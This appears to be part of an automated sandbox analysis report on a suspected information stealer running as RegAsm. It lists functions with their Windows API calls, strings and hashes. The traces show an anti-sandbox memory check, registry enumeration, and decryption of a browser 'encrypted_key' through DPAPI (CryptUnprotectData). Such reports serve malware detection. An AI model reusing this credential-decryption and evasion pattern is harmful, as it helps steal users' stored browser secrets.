Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00413BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,00F82000,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,00F828E0,00000000,00000000,00000000,000000FF), ref: 00413C28
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,00F82A30), ref: 00413C6B

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID:
API String ID: 558315959-0
Opcode ID: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C87C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C87C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C87C969
GetSystemInfo.KERNEL32(?), ref: 6C87C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C87C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C87C9E2

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 8c5950de104ca8611fda0a1f883b42b1a819c8251ba282662fec8784136c03cd
Instruction ID: 99622cc4cffc82a1b1b1cc0dc5ceae22c43a2432726814dbc47722733c33a5be
Opcode Fuzzy Hash: 8c5950de104ca8611fda0a1f883b42b1a819c8251ba282662fec8784136c03cd
Instruction Fuzzy Hash: EF21DA317412186BDBB4AA68DD84BAE77B9AF4B708F500939F903A7641EB606C00C7E4

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F7ADE0), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00F7AD00), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00F7AD10), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F7ADE0), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00F7AD00), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00F7AD10), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00F7AB60,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(00F81B00,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(00F7AB60,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,00F82390,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,00F823A8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00F82ED8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00F824B0,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00F82ED8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00F824B0,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
